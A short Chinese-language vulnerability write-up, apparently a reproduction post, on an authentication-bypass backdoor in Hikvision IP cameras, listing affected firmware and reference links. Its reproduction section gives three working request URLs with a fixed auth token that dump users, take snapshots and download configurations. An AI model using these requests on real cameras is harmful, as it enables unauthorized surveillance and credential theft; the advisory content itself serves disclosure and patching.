宣告

本文內容僅供學習交流使用，請勿利用文章內的相關技術從事非法測試，如因此產生的一切不良後果與文章作者無關。

一、漏洞介紹

許多Hikvision IP相機包含一個後門，允許未經身份驗證假冒任何配置使用者帳戶。至少從2014年起，海康威視的產品就存在這一漏洞。除了hikvision品牌的裝置外，它還影響了許多以各種品牌名稱出售的白標相機產品。成千上萬的易受攻擊的裝置在釋出時仍暴露在網際網路上。除了獲得完全的管理訪問許可權外，該漏洞還可用於檢索所有配置使用者的明文密碼。

二、漏洞復現

1、檢索所有使用者及其角色的列表

http://camera.ip/Security/users?auth=YWRtaW46MTEK

2、在沒有身份驗證的情況下獲取相機快照

http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK

3、下載相機配置

http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK

三、漏洞影響版本

DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 Build 160530
DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401
DS-2CD2xx2FWD Series V5.3.1
 
 build 150410 to V5.4.4 Build 161125
DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414
DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421
DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928
DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106

四、參考連結

https://packetstormsecurity.com/files/144097/hikvisionip-bypass.txt

https://www.seebug.org/vuldb/ssvid-96469